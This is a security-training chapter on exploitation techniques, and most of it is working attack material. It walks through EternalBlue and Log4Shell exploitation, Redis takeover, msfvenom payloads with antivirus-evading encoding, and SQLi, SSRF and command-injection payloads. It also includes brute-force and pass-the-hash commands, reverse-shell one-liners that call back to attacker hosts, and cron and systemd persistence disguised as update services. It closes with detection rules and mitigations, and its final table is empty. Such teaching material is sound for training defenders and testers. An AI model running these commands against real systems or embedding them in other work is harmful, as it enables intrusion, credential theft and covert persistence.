Chapter 3.2 - Exploitation Techniques: Network to Application Layer
Module 3: Offensive Security & Exploitation Prerequisites: Chapter 3.1 (Reconnaissance, Scanning & Enumeration)
Table of Contents
- Exploitation Methodology & Vulnerability Classes
- Network-Layer Exploitation - Service Vulnerabilities & Protocol Abuse
- Metasploit Framework - Architecture, Modules & Workflow
- Buffer Overflows - Stack Mechanics & Shellcode Delivery
- Web Application Exploitation - SQLi, SSRF & Command Injection
- Authentication Attacks - Default Credentials, Brute Force & Credential Stuffing
- Post-Exploitation Fundamentals - Shells, Pivoting & Persistence
- Defensive Detections & Mitigations
- MITRE ATT&CK Mapping
- Quiz
1. Exploitation Methodology & Vulnerability Classes
Exploitation is the act of leveraging a vulnerability to achieve an effect beyond intended authorization - typically code execution, authentication bypass, or privilege escalation. The professional methodology is sequential: information gathered in reconnaissance drives vulnerability selection, which drives exploit choice, which drives payload selection.
Vulnerability Taxonomy
| Class | Root Cause | Typical Impact | Example CVEs |
|---|---|---|---|
| Memory corruption | Unsafe memory operations (C/C++) | RCE, privilege escalation | CVE-2021-44228 (Log4Shell), CVE-2017-0144 (EternalBlue) |
| Injection | Unsanitized user input reaches interpreter | RCE, data exfiltration, auth bypass | SQLi, OS command injection, LDAP injection |
| Authentication flaws | Weak/absent auth logic | Unauthorized access | Default credentials, JWT alg:none, CVE-2021-22986 |
| Logic flaws | Incorrect business logic | Privilege escalation, bypass | IDOR, forced browsing, parameter tampering |
| Deserialization | Untrusted data deserialized | RCE | CVE-2015-4852 (WebLogic), CVE-2021-42237 |
| SSRF | Server makes attacker-controlled requests | Internal network access, cloud metadata | CVE-2019-0230 (Struts), Capital One breach |
| XXE | Unsafe XML parsing | File read, SSRF | CVE-2021-40438 (Apache mod_proxy) |
| Misconfiguration | Insecure defaults left unchanged | Full compromise | Open S3 buckets, unauthenticated Redis |
Exploit Development Lifecycle
Reconnaissance → Vulnerability ID → Exploit Selection → Payload Generation
→ Delivery → Execution → Post-Exploitation → Cleanup
The critical decision point is exploit selection vs. development. Public exploits (Exploit-DB, Metasploit modules, PoC GitHub repos) cover the majority of known CVEs. Custom exploit development is required for zero-days or highly specific targets. This chapter focuses on weaponizing known vulnerabilities - the most common real-world scenario.
2. Network-Layer Exploitation - Service Vulnerabilities & Protocol Abuse
EternalBlue (CVE-2017-0144) - SMBv1 Remote Code Execution
EternalBlue remains one of the most operationally significant network exploits ever published. It exploits a heap overflow in the SMBv1 Trans2 handler, achieving kernel-level code execution without authentication. WannaCry and NotPetya weaponized it at global scale.
The vulnerability: SMBv1's SMB_COM_TRANSACTION2 handler incorrectly calculates buffer size when combining multiple sub-commands, allowing a heap overflow in the Windows kernel pool.
# Step 1: Verify SMBv1 is enabled and unpatched
nmap -p 445 \
--script smb-protocols \ # Check which SMB versions are enabled
--script smb-vuln-ms17-010 \ # Directly check for EternalBlue
192.168.1.100
# Output: "VULNERABLE" if MS17-010 is unpatched
# Step 2: Confirm via manual SMB protocol check
nmap -p 445 --script smb2-security-mode 192.168.1.100
# SMBv1 present + message signing disabled = ideal target
# Step 3: Metasploit exploitation
msfconsole -q # -q: quiet mode, skip banner
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50 # Your IP
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
# Expected: Meterpreter session opened (SYSTEM level)
# Verify: should be NT AUTHORITY\SYSTEM
meterpreter > getuid
meterpreter > sysinfo
Patch status check (defender perspective):
# Windows: Check if MS17-010 is patched
wmic qfe get HotFixID | findstr KB4012212 # Win 7
wmic qfe get HotFixID | findstr KB4012215 # Win Server 2008 R2
# Linux: Check Samba version (CVE-2017-7494 "SambaCry" - same era)
smbclient --version
smbd --version
# Vulnerable: Samba 3.5.0 - 4.4.13, 4.5.x < 4.5.10, 4.6.x < 4.6.4
Log4Shell (CVE-2021-44228) - Remote Code Execution via JNDI
Log4Shell is a critical RCE in Apache Log4j 2.x. The vulnerability is in the message lookup feature: when Log4j logs a string containing ${jndi:ldap://attacker.com/a}, it resolves the JNDI reference, connecting to the attacker's LDAP server and loading a remote Java class - executing arbitrary code.
Attack vector: any string logged by the application that the attacker can influence - HTTP headers (User-Agent, X-Forwarded-For, X-Api-Version), form fields, usernames.
# Step 1: Set up a JNDI exploit server
# marshalsec - Java LDAP redirect server
git clone https://github.com/mbechler/marshalsec
cd marshalsec && mvn package -q
# Start LDAP server redirecting to your HTTP server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
"http://YOUR_IP:8888/#Exploit" # Redirect LDAP lookup to your HTTP server
# Step 2: Serve malicious Java class
# Compile Exploit.java:
cat > /tmp/Exploit.java << 'EOF'
public class Exploit {
static {
try {
// Reverse shell payload
String[] cmd = {"/bin/bash","-c",
"bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}
EOF
javac /tmp/Exploit.java -source 8 -target 8 # Compile for Java 8 compatibility
python3 -m http.server 8888 --directory /tmp # Serve the .class file
# Step 3: Start reverse shell listener
nc -lvnp 9001
# Step 4: Trigger the vulnerability
# Inject JNDI payload into a logged HTTP header
curl -H 'X-Api-Version: ${jndi:ldap://YOUR_IP:1389/Exploit}' \
http://target.example.com/api/login
# Also test common logged fields:
curl -H "User-Agent: \${jndi:ldap://YOUR_IP:1389/a}" http://target.example.com/
curl -d "username=\${jndi:ldap://YOUR_IP:1389/a}" http://target.example.com/login
# Detection: search your own logs for JNDI patterns
grep -r '\${jndi:' /var/log/
grep -r 'jndi:ldap\|jndi:rmi\|jndi:dns' /var/log/
Rapid scanning for Log4Shell exposure:
# log4j-scan - automated scanner
git clone https://github.com/fullhunt/log4j-scan
pip3 install -r requirements.txt
python3 log4j-scan.py \
-u http://target.example.com \ # Single URL
--dns-callback-provider interact.sh \ # Use DNS callback for detection
--waf-bypass # Test WAF bypass variants: ${${::-j}ndi:...}
Redis Unauthenticated RCE
Redis instances exposed without authentication on port 6379 are trivially exploitable for code execution via cron job injection or SSH key writing:
# Check for unauthenticated Redis
redis-cli -h 192.168.1.100 ping # Should return PONG if unauthenticated
# Method 1: Write SSH public key to root's authorized_keys
redis-cli -h 192.168.1.100 \
config set dir /root/.ssh/ # Set Redis dump directory to .ssh
redis-cli -h 192.168.1.100 \
config set dbfilename authorized_keys # Set dump filename
redis-cli -h 192.168.1.100 \
set pwn "\n\nssh-rsa AAAA...YOUR_PUBLIC_KEY... attacker\n\n"
redis-cli -h 192.168.1.100 save # Write to disk - authorized_keys
ssh -i ~/.ssh/id_rsa root@192.168.1.100 # Log in
# Method 2: Cron job injection
redis-cli -h 192.168.1.100 config set dir /var/spool/cron/
redis-cli -h 192.168.1.100 config set dbfilename root
redis-cli -h 192.168.1.100 \
set pwn "\n\n* * * * * bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\n\n"
redis-cli -h 192.168.1.100 save
# Method 3: Redis 4.x+ module loading RCE
# Load a compiled .so file as a Redis module
redis-cli -h 192.168.1.100 \
MODULE LOAD /tmp/evil_module.so # If you can write a file first
3. Metasploit Framework - Architecture, Modules & Workflow
Metasploit is the industry-standard exploitation framework. Understanding its internals - not just its commands - is essential for both offensive operations and for blue teams who need to understand what attackers are running.
Module Architecture
metasploit-framework/
├── modules/
│ ├── exploits/ # Vulnerability exploitation modules
│ │ ├── windows/smb/ # Platform/service/name
│ │ ├── linux/http/
│ │ └── multi/handler/ # Generic payload handler
│ ├── payloads/
│ │ ├── singles/ # Self-contained (stageless)
│ │ ├── stagers/ # Small loader that pulls stage
│ │ └── stages/ # Meterpreter, shell, VNC
│ ├── auxiliary/
│ │ ├── scanner/ # Port scanners, service scanners
│ │ ├── brute/ # Credential brute-forcers
│ │ └── gather/ # OSINT and enumeration
│ ├── post/ # Post-exploitation modules
│ └── encoders/ # Payload encoding (AV evasion)
Staged vs Stageless Payloads
| Type | Format | Size | How It Works | Use Case |
|---|---|---|---|---|
| Stageless | windows/x64/meterpreter_reverse_tcp | ~250KB | Full payload in one delivery | Reliable delivery, no second connection needed |
| Staged | windows/x64/meterpreter/reverse_tcp | ~400 bytes stager | Stager connects back, pulls Meterpreter stage | Small shellcode fits in tight buffer overflow |
# Core msfconsole workflow
msfconsole -q
# Search for modules
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2021-44228
msf6 > search name:eternalblue
# Use a module and inspect options
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > info # Full module description, reliability, references
msf6 exploit(...) > show options # Required and optional parameters
msf6 exploit(...) > show targets # Supported target OS versions
msf6 exploit(...) > show payloads # Compatible payloads
# Configure and run
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > check # Safely check if target is vulnerable (no exploit)
msf6 exploit(...) > run # Execute (alias: exploit)
# Multi-handler - catch reverse shells from external payloads
msf6 > use exploit/multi/handler
msf6 handler > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 handler > set LHOST 0.0.0.0 # Listen on all interfaces
msf6 handler > set LPORT 4444
msf6 handler > set ExitOnSession false # Keep listening after first catch
msf6 handler > run -j # Run as background job
Meterpreter - Post-Exploitation Agent
Meterpreter runs entirely in memory (no disk write), communicates over an encrypted channel, and provides a rich post-exploitation API:
# Core Meterpreter commands
meterpreter > sysinfo # OS, hostname, architecture
meterpreter > getuid # Current user context
meterpreter > getpid # Process ID of Meterpreter
meterpreter > ps # List all running processes
meterpreter > migrate 664 # Migrate into process PID 664 (e.g., explorer.exe)
# Moves Meterpreter into a more stable/hidden process
# File system
meterpreter > ls
meterpreter > download C:\\Users\\admin\\Documents\\secrets.xlsx /tmp/
meterpreter > upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe
# Network
meterpreter > ipconfig # Network interfaces
meterpreter > arp # ARP cache - reveals other hosts on LAN
meterpreter > route # Routing table
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5
# Forward local port 3389 - 10.10.10.5:3389 (pivot through compromised host)
# Pivoting - route traffic through session into internal network
msf6 > route add 10.10.10.0/24 1 # Route 10.10.10.0/24 through session ID 1
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j # Start SOCKS proxy through the session
# Credential harvesting
meterpreter > run post/windows/gather/hashdump # Dump local SAM hashes
meterpreter > run post/multi/recon/local_exploit_suggester # Find priv esc paths
meterpreter > load kiwi # Load Mimikatz extension
meterpreter > creds_all # Dump all available credentials
meterpreter > lsa_dump_sam # Dump SAM database
meterpreter > lsa_dump_secrets # Dump LSA secrets
Generating Standalone Payloads with msfvenom
# Windows x64 reverse Meterpreter EXE (stageless)
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=192.168.1.50 \
LPORT=4444 \
-f exe \ # Output format: Windows PE executable
-o /tmp/payload.exe
# Windows DLL (for DLL hijacking)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f dll -o /tmp/evil.dll
# Linux ELF reverse shell
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f elf -o /tmp/payload
# PHP web shell payload
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o /tmp/shell.php
# Python payload (cross-platform)
msfvenom -p python/meterpreter_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o /tmp/payload.py
# Encode payload to evade basic AV signature detection
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x64/xor_dynamic \ # XOR encoder
-i 5 \ # Iterate encoding 5 times
-f exe -o /tmp/encoded_payload.exe
# List available encoders
msfvenom --list encoders
# List available payload formats
msfvenom --list formats
4. Buffer Overflows - Stack Mechanics & Shellcode Delivery
Understanding buffer overflows at the conceptual level is essential for exploit development, CVE analysis, and writing Snort/Suricata rules that detect exploitation attempts.
Stack Layout and Overflow Mechanics
When a function is called, the CPU pushes onto the stack: the return address, saved base pointer, and local variables (including buffers). A stack buffer overflow writes beyond the end of a local buffer, overwriting the saved return address. When the function returns, the CPU jumps to the attacker-controlled address.
High address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← Overwrite this with address of shellcode
├─────────────────────┤
│ Saved EBP/RBP │ ← Overwritten with padding
├─────────────────────┤
│ Local variable │
├─────────────────────┤
│ char buf[64] │ ← Buffer starts here; overflow writes upward
└─────────────────────┘
Low address
Finding the Offset - Pattern Generation
The offset (how many bytes until the return address) is found by sending a unique cyclic pattern and noting which 4/8 bytes overwrite RIP/EIP:
# Generate cyclic pattern (Metasploit)
msf6 > pattern_create -l 500 # Generate 500-byte unique pattern
# Aaa0Aaa1Aaa2Aaa3...
# After crash: find offset from the value in EIP/RIP
msf6 > pattern_offset -q 0x41306341 # Value found in EIP register
# [*] Exact match at offset 112
# Using pwntools (Python) - the professional approach
pip install pwntools
python3 - << 'EOF'
from pwn import *
# cyclic: generates a De Bruijn sequence
payload = cyclic(500)
print(payload)
# After crash, find offset from the 4 bytes that overwrote EIP
offset = cyclic_find(0x41306341) # Pack EIP value as little-endian int
print(f"Offset: {offset}") # Output: 112
EOF
Exploit Skeleton with pwntools
#!/usr/bin/env python3
# exploit_bof.py - generic stack buffer overflow exploit skeleton
from pwn import *
# Target configuration
TARGET_IP = "192.168.1.100"
TARGET_PORT = 9999
OFFSET = 112 # Bytes to reach return address
RET_ADDR = p64(0x7ffd12345678) # Address to jump to (JMP ESP, ROP gadget, etc.)
# p64: pack as 64-bit little-endian
# Shellcode: Linux x64 reverse shell (generated with msfvenom or pwntools)
shellcode = (
b"\x48\x31\xc0\x50\x5f" # Example shellcode bytes
# In practice: msfvenom -p linux/x64/shell_reverse_tcp LHOST=... -f raw
)
# NOP sled: increases landing zone for imprecise jumps
nop_sled = b"\x90" * 16 # 16 NOP instructions
# Build payload: padding + return address + NOP sled + shellcode
payload = b"A" * OFFSET # Padding to reach return address
payload += RET_ADDR # Overwrite return address
payload += nop_sled # Slide into shellcode
payload += shellcode
# Connect and send
io = remote(TARGET_IP, TARGET_PORT)
io.recvuntil(b"Enter input: ") # Wait for prompt
io.sendline(payload)
io.interactive() # Drop into interactive shell
Modern Mitigations and Bypass Techniques
| Mitigation | Mechanism | Bypass Technique |
|---|---|---|
| ASLR | Randomize stack/heap/library addresses | Information leak to obtain base address; brute-force (32-bit) |
| DEP/NX | Mark stack/heap non-executable | Return-Oriented Programming (ROP) - reuse existing code |
| Stack Canary | Place random value before return address; verify on return | Leak canary via format string; partial overwrite |
| CFI (Control Flow Integrity) | Restrict valid call/jump targets | Requires precise gadget selection |
| RELRO | Make GOT read-only | Full RELRO defeats GOT overwrites; partial RELRO still exploitable |
# Check binary mitigations with checksec (pwntools)
checksec --file=/usr/local/bin/vulnerable_app
# Output:
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found ← Vulnerable to stack overflow
# NX: NX enabled ← Need ROP to bypass
# PIE: No PIE ← Fixed base address, no ASLR for binary itself
# Find ROP gadgets for NX bypass
ROPgadget --binary /usr/local/bin/vulnerable_app --rop
# Look for: "ret", "pop rdi ; ret", "syscall" etc.
# Alternatively with ropper
ropper -f /usr/local/bin/vulnerable_app --search "pop rdi"
5. Web Application Exploitation - SQLi, SSRF & Command Injection
SQL Injection - Manual & Automated
SQL injection occurs when user-supplied data is concatenated into a SQL query without parameterization. The attacker terminates the intended query and appends their own SQL logic.
# Manual detection - error-based SQLi
# Original URL: /product?id=5
# Inject single quote:
curl "http://target.example.com/product?id=5'"
# Response includes SQL error - confirmed SQLi
# Determine number of columns (UNION-based)
curl "http://target.example.com/product?id=5 ORDER BY 1--" # No error
curl "http://target.example.com/product?id=5 ORDER BY 5--" # Error - 4 columns
# Extract data with UNION SELECT
curl "http://target.example.com/product?id=-1 UNION SELECT 1,2,3,4--"
# Find which column positions render in response, then:
curl "http://target.example.com/product?id=-1 UNION SELECT 1,database(),3,4--"
# Returns: current database name in position 2
# Extract table names from information_schema
curl "http://target.example.com/product?id=-1 UNION SELECT \
1,group_concat(table_name),3,4 FROM information_schema.tables \
WHERE table_schema=database()--"
# Extract credentials
curl "http://target.example.com/product?id=-1 UNION SELECT \
1,group_concat(username,':',password),3,4 FROM users--"
sqlmap - automated SQLi exploitation:
# Basic detection and exploitation
sqlmap -u "http://target.example.com/product?id=5" \
--batch \ # Non-interactive mode
--dbs \ # Enumerate databases
--level=3 \ # Test level (1-5): more vectors at higher levels
--risk=2 # Risk level (1-3): more aggressive at higher levels
# Exploit specific database
sqlmap -u "http://target.example.com/product?id=5" \
--batch -D targetdb \ # Target database
--tables # List tables
# Dump specific table
sqlmap -u "http://target.example.com/product?id=5" \
--batch -D targetdb -T users \
--dump \ # Dump table contents
--columns # Show column names first
# POST request exploitation (login forms)
sqlmap -u "http://target.example.com/login" \
--method POST \
--data "username=admin&password=test" \ # POST body with injection point
--batch --dbs
# Cookie-based injection
sqlmap -u "http://target.example.com/dashboard" \
--cookie "session=abc123; user_id=5*" \ # * marks injection point
--batch --dbs
# OS command execution via SQLi (if DB user has FILE privilege)
sqlmap -u "http://target.example.com/product?id=5" \
--batch \
--os-shell # Attempt OS shell via INTO OUTFILE + UDF
# Read files from server
sqlmap -u "http://target.example.com/product?id=5" \
--batch \
--file-read=/etc/passwd
SSRF - Server-Side Request Forgery
SSRF forces the server to make HTTP requests to attacker-controlled URLs. In cloud environments, this trivially reaches the metadata service (169.254.169.254) to steal IAM credentials.
# Basic SSRF detection - make server request your server
# Start listener
python3 -m http.server 8080
# Inject URL into parameter that fetches remote content
curl "http://target.example.com/fetch?url=http://YOUR_IP:8080/test"
# If your server receives a request - SSRF confirmed
# Internal network probing via SSRF
# Probe common internal ports through the vulnerable server
for port in 22 80 443 3306 5432 6379 8080 8443 27017; do
echo -n "Port $port: "
curl -s -o /dev/null -w "%{http_code}" \
"http://target.example.com/fetch?url=http://127.0.0.1:$port/" \
--max-time 3
echo
done
# 200/response = open; timeout/connection refused = closed
# AWS metadata service via SSRF (critical - yields IAM credentials)
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Returns: role name
curl "http://target.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Returns: AccessKeyId, SecretAccessKey, Token - full AWS API access
# GCP metadata (slightly different endpoint)
curl "http://target.example.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "X-Google-Metadata-Request: True" # Must be added as header by the server
# SSRF filter bypass techniques
# Decimal IP notation
curl "http://target.example.com/fetch?url=http://2130706433/" # 127.0.0.1 in decimal
# IPv6 loopback
curl "http://target.example.com/fetch?url=http://[::1]/"
# URL encoding
curl "http://target.example.com/fetch?url=http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34/"
# DNS rebinding (advanced): register a domain that resolves to 127.0.0.1 after bypass check
OS Command Injection
When user input reaches a shell command without sanitization, the attacker appends shell metacharacters to inject additional commands:
# Common injection points: ping utilities, DNS lookups, file conversion, image processing
# Payload structures:
# ; injected_command - sequential execution
# && injected_command - execute if first succeeds
# || injected_command - execute if first fails
# `injected_command` - command substitution
# $(injected_command) - command substitution
# Detection: inject sleep and measure response time
curl -s --max-time 10 \
"http://target.example.com/ping?host=127.0.0.1;sleep+5"
# If response takes 5+ seconds - blind command injection confirmed
# Out-of-band confirmation (no response reflection)
curl "http://target.example.com/ping?host=127.0.0.1;curl+http://YOUR_IP:8080/pwned"
# Reverse shell via command injection
# URL-encode the payload for GET parameters
python3 -c "import urllib.parse; print(urllib.parse.quote('bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'))"
curl "http://target.example.com/ping?host=127.0.0.1;bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261'"
# Automated: commix - command injection exploitation tool
commix --url="http://target.example.com/ping?host=INJECT_HERE" \
--technique=all \ # Test all injection techniques
--os-cmd="id" # Run OS command
commix --url="http://target.example.com/ping?host=INJECT_HERE" \
--os-shell # Interactive shell
6. Authentication Attacks - Default Credentials, Brute Force & Credential Stuffing
Default Credential Exploitation
# Common default credential checks
# Hydra - fast network login cracker
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.1.100 http-post-form \
"/admin/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 30 \ # 30 threads
-V \ # Verbose - show each attempt
-f # Stop on first success
# SSH brute force
hydra -L /usr/share/wordlists/usernames.txt \
-P /usr/share/wordlists/rockyou.txt \
ssh://192.168.1.100 \
-t 4 \ # 4 threads (SSH connections are expensive)
-s 22 # Port
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
ftp://192.168.1.100
# RDP brute force
hydra -l administrator -P /tmp/passwords.txt \
rdp://192.168.1.100 \
-t 1 \ # Single thread (RDP lockout risk)
-W 3 # 3 second wait between attempts
# Medusa - alternative to Hydra
medusa -h 192.168.1.100 \
-u admin -P /usr/share/wordlists/rockyou.txt \
-M ssh \ # Module: ssh
-t 4
# Default credential list check (routers, printers, IoT)
# Common defaults: admin:admin, admin:password, root:root, admin:(blank)
for cred in "admin:admin" "admin:password" "admin:" "root:root" "guest:guest"; do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
result=$(curl -s -o /dev/null -w "%{http_code}" \
-u "$user:$pass" http://192.168.1.100/admin/)
echo "$cred - HTTP $result"
done
Password Spraying
Brute-force with one password against many users - avoids lockout by staying below the per-account threshold:
# Spray a single password against all AD users via SMB
crackmapexec smb 192.168.1.0/24 \
-u /tmp/userlist.txt \ # Username list from LDAP enumeration
-p 'Welcome2024!' \ # Common seasonal password
--continue-on-success # Don't stop after first hit
# Spray against OWA (Outlook Web App) - common corporate target
# Use ruler or spray
spray.sh -smb 192.168.1.10 /tmp/users.txt 'Password1' 1 35 DOMAIN
# Format: host userlist password attempts interval domain
# CrackMapExec against multiple protocols
cme smb 192.168.1.10 -u users.txt -p 'Summer2024!'
cme winrm 192.168.1.10 -u users.txt -p 'Summer2024!' # WinRM (PowerShell remoting)
cme mssql 192.168.1.10 -u users.txt -p 'Summer2024!' # MSSQL
Pass-the-Hash (PtH)
With NTLM authentication, the password hash can be used directly for authentication - cracking is unnecessary:
# Dump hashes from compromised Windows host
meterpreter > run post/windows/gather/hashdump
# Output: Administrator:500:aad3b435...31d6cfe0d16ae931b73c59d7e0c089c0:::
# Format: username:RID:LM_hash:NTLM_hash:::
# Pass-the-Hash with crackmapexec
cme smb 192.168.1.0/24 \
-u Administrator \
-H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
# Format: LM_hash:NTLM_hash (LM portion can be dummy if not used)
--shares
# PtH to get a shell via WMI
cme wmi 192.168.1.100 \
-u Administrator \
-H :31d6cfe0d16ae931b73c59d7e0c089c0 \
-x "whoami" # Execute command
# PtH with Impacket's psexec.py
impacket-psexec \
"DOMAIN/Administrator@192.168.1.100" \
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# PtH with wmiexec.py (stealthier - doesn't write to disk)
impacket-wmiexec \
"DOMAIN/Administrator@192.168.1.100" \
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0
7. Post-Exploitation Fundamentals - Shells, Pivoting & Persistence
Shell Types and Stability
# Reverse shell one-liners (catch with: nc -lvnp 4444)
# Bash
bash -i >& /dev/tcp/LHOST/4444 0>&1
# Python3
python3 -c 'import socket,subprocess,os; \
s=socket.socket(); s.connect(("LHOST",4444)); \
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
subprocess.call(["/bin/bash","-i"])'
# Perl
perl -e 'use Socket; \
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); \
connect(S,sockaddr_in(4444,inet_aton("LHOST"))); \
open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); \
exec("/bin/bash -i");'
# PHP
php -r '$sock=fsockopen("LHOST",4444); \
proc_open("/bin/bash -i",array($sock,$sock,$sock),$pipes);'
# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass \
"IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"
# Upgrading a dumb shell to fully interactive TTY
# After catching reverse shell in nc:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z to background
stty raw -echo; fg # Raw mode, re-foreground nc
# In shell: export TERM=xterm; stty rows 50 cols 200
Pivoting Through Compromised Hosts
# SSH local port forwarding - access internal service through compromised host
ssh -L 8080:10.10.10.5:80 \ # Forward local 8080 - 10.10.10.5:80 via jump
-N \ # No command - just tunnel
user@COMPROMISED_HOST
# Then: curl http://127.0.0.1:8080/ - hits internal web server
# SSH dynamic SOCKS proxy (pivot all traffic)
ssh -D 1080 \ # Local SOCKS5 proxy on port 1080
-N user@COMPROMISED_HOST
# Configure proxychains:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -p 22,80,443 10.10.10.0/24 # Scan internal network
# Chisel - fast TCP tunneling over HTTP (useful when SSH is blocked)
# On attack box:
./chisel server -p 8000 --reverse # Reverse server mode
# On compromised host:
./chisel client ATTACKER_IP:8000 R:1080:socks # Reverse SOCKS tunnel
# SSHuttle - transparent proxy (routes subnet traffic through SSH)
sshuttle -r user@COMPROMISED_HOST 10.10.10.0/24 \
--ssh-cmd "ssh -i compromised_key" # Route entire subnet through compromised host
Establishing Persistence
# Linux - cron job persistence
# Add to current user's crontab (survives reboots)
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'") | crontab -
# Linux - systemd service (requires root)
cat > /etc/systemd/system/update-check.service << 'EOF'
[Unit]
Description=System Update Check Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'
Restart=always
RestartSec=300
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update-check
systemctl start update-check
# Windows - registry run key (persistence across logins)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "WindowsUpdate" \
/t REG_SZ \
/d "C:\Windows\Temp\payload.exe" \
/f
# Windows - scheduled task
schtasks /create /tn "SystemHealthMonitor" \
/tr "C:\Windows\Temp\payload.exe" \
/sc ONLOGON \ # Trigger: on any user login
/ru SYSTEM \ # Run as SYSTEM
/f # Force creation
8. Defensive Detections & Mitigations
Detecting Exploitation Attempts
# Suricata rule - detect EternalBlue exploitation attempt
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (
msg:"ET EXPLOIT MS17-010 EternalBlue SMBv1 RCE Attempt";
flow:established,to_server;
content:"|FF|SMB";
content:"|00 2f 00|"; distance:0;
byte_test:2,>,0,0,relative,big;
classtype:attempted-admin;
sid:9004001; rev:1;
metadata:affected_product Windows, mitre_technique T1210;
)
# Suricata rule - detect Log4Shell exploitation
alert http any any -> $HTTP_SERVERS any (
msg:"ET EXPLOIT Apache Log4j RCE Attempt (JNDI Injection)";
flow:established,to_server;
content:"${jndi:"; nocase; # Core Log4Shell pattern
pcre:"/\$\{jndi:(ldap|rmi|dns|ldaps|iiop|corba|nds|http)/i";
classtype:web-application-attack;
sid:9004002; rev:3;
metadata:cve CVE-2021-44228, mitre_technique T1190;
)
# Detect SQL injection attempts in HTTP URIs
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
msg:"ET WEB_SERVER SQL Injection Attempt -- UNION SELECT";
flow:established,to_server;
content:"UNION"; http_uri; nocase;
content:"SELECT"; http_uri; nocase; distance:0; within:20;
classtype:web-application-attack;
sid:9004003; rev:1;
)
Host-Based Mitigations
# Patch SMBv1 (Windows PowerShell)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# Enable Windows Defender Attack Surface Reduction rules
# Block exploitation of vulnerable signed drivers
Add-MpPreference -AttackSurfaceReductionRules_Ids \
75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 \ # Block Office child process
-AttackSurfaceReductionRules_Actions Enabled
# Linux: Enable ASLR system-wide
echo 2 > /proc/sys/kernel/randomize_va_space # 2 = full ASLR
# Make permanent:
echo "kernel.randomize_va_space = 2" >> /etc/sysctl.conf
# Disable core dumps (prevent memory scraping for credentials)
echo "* hard core 0" >> /etc/security/limits.conf
echo "fs.suid_dumpable = 0" >> /etc/sysctl.conf
# Web application: parameterized queries (SQLi prevention)
# Python - CORRECT (parameterized)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Python - WRONG (string concatenation)
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") # Never do this
# SSRF prevention - allowlist approach
import ipaddress, socket
ALLOWED_HOSTS = {"api.trusted-partner.com"}
def is_safe_url(url):
from urllib.parse import urlparse
parsed = urlparse(url)
hostname = parsed.hostname
if hostname not in ALLOWED_HOSTS:
raise ValueError("Host not in allowlist")
# Resolve and check for private/loopback addresses
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError("Private/internal addresses not allowed")
return True
9. MITRE ATT&CK Mapping
| Technique | ID | Method | Detection |
|---|---|---|---|
